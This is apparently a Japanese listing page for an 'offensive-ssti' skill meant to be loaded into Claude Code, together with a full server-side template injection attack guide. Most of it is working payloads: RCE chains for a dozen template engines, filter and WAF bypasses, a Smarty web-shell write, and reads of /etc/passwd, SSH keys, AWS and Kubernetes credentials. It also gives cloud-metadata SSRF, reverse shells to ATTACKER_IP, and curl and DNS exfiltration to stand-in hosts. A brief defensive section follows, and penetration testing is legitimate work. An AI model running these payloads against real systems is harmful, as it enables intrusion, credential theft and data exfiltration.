offensive-ssti について
Web アプリのサーバーサイドテンプレートインジェクションを評価する攻撃的セキュリティスキルです。エンジン特定、悪用手順、フィルター回避、安全な PoC の記録を扱います。
主な機能
- 01テンプレートエンジンの特定
- 02注入箇所のマッピング
- 03エンジン別の悪用手順
- 04フィルターと WAF の回避
- 05ブラインド・帯域外テスト
- 06安全な PoC の記録
活用シーン
- 01ユーザー制御のテンプレート入力のテスト
- 02エラーからのエンジン特定
- 03ファイルやデータ漏えいリスクの評価
- 04非破壊テストの証拠記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-sstiインストール後、Claude Code で/offensive-sstiを入力して読み込まれたか確認します。
詳細
サーバーサイドテンプレートインジェクション(SSTI)――攻撃手法
ユーザー制御の入力がサーバーサイドテンプレート文字列に連結され、エンジンがそれをコードとして評価する場所には、どこでも SSTI が存在します。エンジンは攻撃者が提供したディレクティブを実行し、言語ランタイムへのアクセスを可能にします。また、ほぼすべてのエンジンで、ホスト言語のオブジェクトモデルを介したリモートコード実行につながります。render_template_string()、Template()、compile() などの関数にユーザーの生の入力を渡すアプリケーションでは、どこでも SSTI に遭遇する可能性があります。
CWE-1336。MITRE ATT&CK T1190。
クイックワークフロー
- インジェクション箇所を特定します:URL パラメーター、POST ボディ、JSON 値、パスセグメント、ヘッダー、Cookie。
- ポリグロットプローブとエンジン固有の算術式を注入し、評価、エラー、空の出力が発生するかを確認します。
- 判断ツリーのプローブ、エラーの特徴、変数の列挙を使ってエンジンを特定します(セクション 1)。
- サーバーサイドでの実行を確認します――クライアントサイドテンプレートインジェクション(AngularJS、Vue.js)ではないことを切り分けます。
- 情報漏えいへとエスカレートします:設定、環境変数、シークレット、内部パスをダンプします。
- エンジン固有のチェーンでコード実行を達成します。ブロックされた場合は回避手法を適用します(セクション 6)。
- 影響を拡大するために連鎖させます:ファイル読み取り、クラウドメタデータへの SSRF、リバースシェル、内部ネットワークへのピボット。
- 一意のマーカーを使った非破壊の PoC を作成し、リクエスト/レスポンスの一連の流れをすべて記録します。
1. エンジンの検出とフィンガープリンティング
1.1 ポリグロットプローブ
${{<%[%'"}}%\ Universal polyglot
{{7*7}} Double-curly arithmetic
{{7*'7'}} String multiplication (Jinja2 returns 7777777, Twig returns 49)
<%= 7*7 %> ERB / EJS style
#{7*7} Pebble / Pug / Thymeleaf contexts
@(7+7) Razor (.NET)
エンジンを絞り込むプローブ:
{{config}} Jinja2/Flask config dict
{{_self.env}} Twig Environment object
{$smarty.version} Smarty version string
<#assign x=1> Freemarker (then reference x in dollar-curly)
Velocity では、#set( $x = 7 * 7 ) を注入し、その後 $x を参照します。
Thymeleaf/SpEL では、T(java.lang.Math).PI を含むドル波括弧式を注入します。
Mako では、self.module.__name__ を含むドル波括弧式を注入します。
1.2 判断ツリー
{{7*7}} --> 49?
YES --> {{7*'7'}} --> "7777777"? --> Jinja2/Nunjucks ({{config}} narrows to Flask)
--> "49"? --> Twig
--> error? --> Handlebars
NO --> dollar-curly with 7*7 --> 49?
YES --> dollar-curly with class ref --> Velocity
dollar-curly with T(Math).PI --> Thymeleaf
<#assign x=1> then ref x --> Freemarker
error contains "mako" --> Mako
NO --> <%= 7*7 %> --> 49?
error with "erb"/"Erubi" --> ERB
error with "ejs" --> EJS
@(7+7) --> 14? --> Razor
1.3 エラーの特徴
| 特徴 | エンジン |
|---|---|
jinja2.exceptions.UndefinedError | Jinja2 |
Twig\Error\SyntaxError | Twig |
freemarker.core.ParseException | Freemarker |
org.apache.velocity.exception | Velocity |
com.mitchellbosecke.pebble.error | Pebble |
SmartyCompilerException | Smarty |
mako.exceptions.SyntaxException | Mako |
Handlebars の文脈を伴う Parse error | Handlebars |
ERB のパスを伴う SyntaxError | ERB |
org.thymeleaf.exceptions.TemplateProcessing | Thymeleaf |
.ejs パスを伴う SyntaxError | EJS |
Pug:Error | Pug |
1.4 ブラインド検出
時間ベース: {{range(99999999)|join}}(Jinja2)、<%= sleep(5) %>(ERB)。
Java エンジンでは、T(java.lang.Thread).sleep(5000) を含むドル波括弧式を注入します。
OOB DNS: Burp Collaborator または interactsh を使用します。Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup UNIQUE.oastify.com').read()}}。
Twig:{{['nslookup UNIQUE.oastify.com']|map('system')}}。
エラーからの推測: {{7*7}} と {{7*'INVALID}} を比較します――レスポンスの挙動が異なれば、処理されていることが確認できます。
2. Jinja2/Python
悪用には、object への MRO トラバーサル、サブクラスの列挙、__globals__/__builtins__ へのアクセスを利用します。
2.1 MRO トラバーサルとサブクラスの列挙
{{''.__class__.__mro__[1]}} # Reach object base class
{{''.__class__.__mro__[1].__subclasses__()}} # List all subclasses
# Find subprocess.Popen index (varies by Python version -- never hardcode)
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in cls.__name__ %}{{ loop.index0 }}{% endif %}
{% endfor %}
2.2 RCE チェーン
# Via subprocess.Popen (replace INDEX with runtime value)
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}
# Via self.__init__.__globals__
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via request.application (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via config object
{{config.__class__.from_envvar.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Via cycler (bypasses some sandboxes)
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Via lipsum / namespace / joiner globals
{{lipsum.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
# Via warnings module search
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen('id').read()}}
{% endif %}
{% endfor %}
2.3 ファイル操作と情報漏えい
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} # Read file
{{''.__class__.__mro__[1].__subclasses__()[40]('/tmp/x','w').write('y')}} # Write file
{{config}} # Flask config
{{config['SQLALCHEMY_DATABASE_URI']}} # DB URI
{{request.environ}} # WSGI env
3. Twig/PHP
3.1 レガシー(Twig 1.x)――_self.env
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
3.2 モダン(Twig 2.x/3.x)――フィルターコールバック
{{'id'|filter('system')}} # filter() with system
{{'id'|filter('passthru')}} # filter() with passthru
{{['id']|map('system')|join}} # map() callback
{{['id',0]|sort('system')|join}} # sort() callback
{{[0,'id']|reduce('system')}} # reduce() callback
3.3 情報漏えい
{{app.request.server.all|join(',')}} # Symfony server vars
{{dump(app)}} # Full app dump
{{'/etc/passwd'|file_excerpt(1,100)}} # File read (debug mode)
{{'/etc/passwd'|file_get_contents}} # If exposed as filter
4. Java テンプレートエンジン
4.1 Freemarker――Execute と ObjectConstructor
Execute クラスを使った RCE――<#assign> でインスタンス化し、コマンド文字列を引数とするドル波括弧式で参照します:
GET /page?input=%3C%23assign+cmd%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bcmd(%22id%22)%7D HTTP/1.1
Host: target.example.com
ProcessBuilder 用の ObjectConstructor:
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
<#assign proc = pb.start()>
4.2 Velocity――Runtime.exec
#set($runtime = $class.inspect("java.lang.Runtime").type.getRuntime())
#set($process = $runtime.exec("id"))
#set($s = $class.inspect("java.util.Scanner").type)
#set($sc = $s.getDeclaredConstructor($process.getInputStream().getClass()).newInstance($process.getInputStream()))
$sc.useDelimiter("\\A").next()
4.3 Pebble -- リフレクションチェーン
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(bytes, 0, bytes.length) }}
4.4 Thymeleaf -- 前処理による SpEL
Thymeleaf の前処理では、テンプレート解決の前に、二重アンダースコアで囲まれた式が評価されます。パス変数またはパラメーターに注入します:
GET /page/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x HTTP/1.1
Host: target.example.com
ファイル読み取り:
GET /page/__${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}__::.x HTTP/1.1
Host: target.example.com
Character 参照を使った SpEL キーワードのバイパス:
T(Character).toString(105).concat(T(Character).toString(100)) は id を生成します。
Spring Bean へのアクセス:@environment.getProperty('spring.datasource.password')。
5. その他のエンジン
5.1 Smarty(PHP)
{$smarty.version} # Version disclosure
{php}echo shell_exec('id');{/php} # If {php} tags enabled (legacy)
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
{math equation="(\"\\x73\\x79\\x73\\x74\\x65\\x6d\")(\"id\")"}
5.2 Mako(Python)
Mako は、ランタイムへの完全なアクセスが可能な Python モジュールにコンパイルされます。ブロック形式:
<% import os; result = os.popen('id').read() %>
次に、ドル記号と波括弧で囲んだ式で変数を出力します。URL エンコードした 1 行形式:
GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Host: target.example.com
5.3 ERB(Ruby)
<%= system("id") %> # Command exec
<%= `id` %> # Backtick exec
<%= File.open('/etc/passwd').read() %> # File read
<%= Rails.application.credentials.secret_key_base %> # Rails secrets
<%= require 'socket'; f=TCPSocket.open("ATTACKER",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
5.4 Handlebars(Node.js)
設計上、ロジックを持たないため、RCE にはプロトタイプ汚染または安全でないヘルパーが必要です:
{{#with "s" as |string|}}
{{#with "e"}}{{#with split as |conslist|}}
{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}{{/with}}
{{/with}}
5.5 EJS(Node.js)
<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>
outputFunctionName を介したプロトタイプ汚染:
POST /render HTTP/1.1
Content-Type: application/json
{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
5.6 Pug / Nunjucks(Node.js)
Pug:
- var x = global.process.mainModule.require('child_process').execSync('id').toString()
p= x
Nunjucks:
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
6. フィルターと WAF のバイパス
6.1 文字制限のバイパス(Jinja2)
# Dot blocked -- use |attr() or brackets
{{request|attr('application')}}
{{request['application']}}
# Underscore blocked -- hex encode (\x5f = _)
{{''['\x5f\x5fclass\x5f\x5f']}}
# Or pass via request param: ?a=__class__
{{''|attr(request.args.a)}}
# Brackets/quotes blocked -- chain |attr() with request.args
# URL: ?a=__class__&b=__mro__&c=__subclasses__
{{()|attr(request.args.a)|attr(request.args.b)|last|attr(request.args.c)()}}
6.2 文字列の構築
# Tilde concatenation
{{''|attr('__cla'~'ss__')}}
# Join filter
{{''|attr(['__cla','ss__']|join)}}
# Plus in brackets
{{''['__cla'+'ss__']}}
# chr() construction
{% set chr = ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__.__builtins__.chr %}
{{''[chr(95)+chr(95)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(95)+chr(95)]}}
# Twig tilde
{{('sys'~'tem')('id')}}
6.3 属性アクセスの代替手段
{{obj|attr('__class__')}} # |attr() filter
{{obj.__getattribute__('__class__')}} # __getattribute__
{{obj['__class__']}} # bracket notation
{{obj|attr('__getitem__')('key')}} # |attr() + __getitem__
6.4 エンコードと密輸
# Hex/octal encoding
{{request['\x5f\x5fclass\x5f\x5f']}}
{{request|attr('\137\137class\137\137')}}
# Request parameter smuggling
# URL: ?c=__class__
{{request|attr(request.args.c)}}
# URL: ?f=%s%sclass%s%s&a=_
{{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}
# URL: ?l=a&a=_&a=_&a=class&a=_&a=_
{{request|attr(request.args.getlist(request.args.l)|join)}}
6.5 WAF 回避手法
Parameter splitting: ?a={{&b=7*7&c=}}
HTTP Param Pollution: ?name={{7*7}}&name=safe (backend takes first, WAF last)
Content-Type confusion: Submit as application/json when WAF inspects form-urlencoded
Double URL encoding: %257B%257B7*7%257D%257D
Whitespace injection: {{ 7 * 7 }}, {%- if 1 -%}49{%- endif -%}
Newline injection: {{\n7*7\n}} (WAFs may not match cross-line patterns)
6.6 エンジン固有のバイパス
Freemarker -- ?new() が制限されている場合は、ObjectConstructor を使用します:
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb = obj("java.lang.ProcessBuilder", ["sh","-c","id"])>
Thymeleaf -- T(Character).toString() の呼び出しから文字列を構築し、キーワードフィルターを回避します。
7. ブラインドエクスプロイト
7.1 時間ベース
{{range(99999999)|join}} # Jinja2: CPU-intensive delay
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('time').sleep(5)}}
{% endif %}
{% endfor %} # Jinja2: explicit sleep
{{['sleep 5']|map('system')}} # Twig
<%= sleep(5) %> # ERB
Freemarker:Execute を割り当て、"sleep 5" を指定して呼び出します。Thymeleaf:前処理ラッパー内で T(java.lang.Thread).sleep(5000) を使ったドル記号と波括弧の式を使用します。
7.2 OOB DNS コールバック
# Jinja2 -- confirm execution
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://UNIQUE.oastify.com').read()}}
# Jinja2 -- exfiltrate data in subdomain
{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup $(whoami).UNIQUE.oastify.com').read()}}
{{['curl http://UNIQUE.oastify.com']|map('system')}} # Twig
<%= `nslookup #{`whoami`.chomp}.UNIQUE.oastify.com` %> # ERB
7.3 エラーと真偽値による推測
{{config.__class__.__name__ + 1}} # Type error leaks data in error page
{{1/0}} # Division by zero with engine info
# Boolean blind -- extract character by character
{% if ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[0] == 'r' %}TRUE{% endif %}
8. 連鎖エクスプロイト
8.1 SSTI から SSRF へ
# Cloud metadata
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}
# Internal service access
{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
8.2 SSTI からファイル読み取りへ
{{''.__class__.__mro__[1].__subclasses__()[40]('app.py').read()}} # Source code
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/config/database.yml').read()}} # DB creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}} # SSH keys
{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}} # AWS creds
{{''.__class__.__mro__[1].__subclasses__()[40]('/var/run/secrets/kubernetes.io/serviceaccount/token').read()}} # K8s token
{{''.__class__.__mro__[1].__subclasses__()[40]('/proc/self/environ').read()}} # Process env
8.3 SSTI からリバースシェルへ
Jinja2:
{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
Freemarker:Execute を割り当て、bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i} を指定して呼び出します。
ERB:
<%= require 'socket'; f=TCPSocket.open("ATTACKER_IP",4444).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f) %>
8.4 SSTI から権限昇格の列挙へ
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id && groups').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('sudo -l 2>&1').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('find / -perm -4000 -type f 2>/dev/null').read()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}
8.5 SSTI からデータ流出へ
# Chunked DNS exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}
# HTTP POST exfil
{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}
検出/防御側の視点
攻撃の兆候:
- 入力に含まれるテンプレート区切り文字:
{{、{%、<%、#{、#set(、<#assign。 - MRO 文字列:
__class__、__mro__、__subclasses__、__globals__、__builtins__。 - Java リフレクション:
getRuntime、ProcessBuilder、forName、T(java.lang。 - ユーザーが起点となるリクエストへの応答に含まれるテンプレートエラー。
侵害の兆候:
- Web ワーカーから予期しない子プロセス(
sh、bash、curl、nslookup)が起動される。 - アプリプロセスによって
/tmpまたは Web ルートに新しいファイルが作成される。 - コールバックサービスまたは見慣れない IP アドレスへのアウトバウンド接続。
169.254.169.254に問い合わせるべきでないコンテナからのクラウドメタデータへのアクセス。
防止策:
- ユーザー入力をテンプレート文字列に連結しないでください。テンプレート変数を使用します。
- CI で危険な API をブロックします:
render_template_string()、ユーザー入力を使ったTemplate()、Environment.from_string()。 - サンドボックスを有効にします:Jinja2 の
SandboxedEnvironment、Freemarker のSAFER_RESOLVER。 - Twig のフィルター/関数を安全な許可リストに制限します。
- Smarty の
{php}、EJS のcompileDebug、Thymeleaf の SpEL 前処理を無効にします。 - アプリは最小限の権限で実行し、seccomp/AppArmor と読み取り専用のルートファイルシステムを使用します。
- 多層防御として WAF ルールを設定します(バイパス手法についてはセクション 6 を参照)。
- CVE を追跡します:CVE-2024-22195(Jinja2 の xmlattr バイパス)、CVE-2024-46507(Yeti RCE)。
エンゲージメントのチートシート
| フェーズ | アクション | ツール/手法 |
|---|---|---|
| 偵察 | 入力の反映ポイントを特定する | Burp Suite, waybackurls, qsreplace |
| 検出 | ポリグロットと算術プローブを注入する | ffuf, Burp Intruder, 手動 |
| フィンガープリンティング | 決定木/エラーを使ってエンジンを特定する | エラーシグネチャ、変数プローブ |
| 検証 | サーバー側での実行を確認する | タイミング、ソースの検査 |
| エクスプロイト | エンジン固有の RCE チェーンを適用する | tplmap, SSTImap, TInjA, 手動 |
| バイパス | WAF/フィルターを回避する | セクション 6 の手法 |
| ブラインド | OOB、時間ベース、エラーベースの手法 | Burp Collaborator, interactsh |
| 権限昇格 | ファイル読み取り、SSRF、シェル、権限昇格につなげる | セクション 8 のチェーン |
| 証明 | 一意のマーカーを使った非破壊的な PoC | DNS コールバック、一意のファイル |
ツールのクイックリファレンス
# tplmap
python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan
python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2 # Force engine
python tplmap.py -u 'http://target.example.com/page' -d 'name=test' # POST injection
python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id # Execute command
python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell # Interactive shell
# SSTImap
python3 sstimap.py -u 'https://target.example.com/page?name=test' # Auto-detect
python3 sstimap.py -u 'https://target.example.com/page?name=test' -S # Shell
python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id' # Run command
# Parameter discovery
waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
arjun -u http://target.example.com/page --stable
主な参考資料
- PortSwigger Research: https://portswigger.net/research/server-side-template-injection
- PortSwigger SSTI Labs: https://portswigger.net/web-security/server-side-template-injection
- PayloadsAllTheThings SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- HackTricks SSTI: https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html
- tplmap: https://github.com/epinna/tplmap
- SSTImap: https://github.com/vladko312/SSTImap
- TInjA: https://github.com/Hackmanit/TInjA
- Jinja2 Sandbox: https://jinja.palletsprojects.com/en/3.1.x/sandbox/
- Spring SpEL: https://docs.spring.io/spring-framework/reference/core/expressions.html
- Freemarker Security: https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security
- OWASP SSTI テスト: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Tests/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
- CWE-1336: https://cwe.mitre.org/data/definitions/1336.html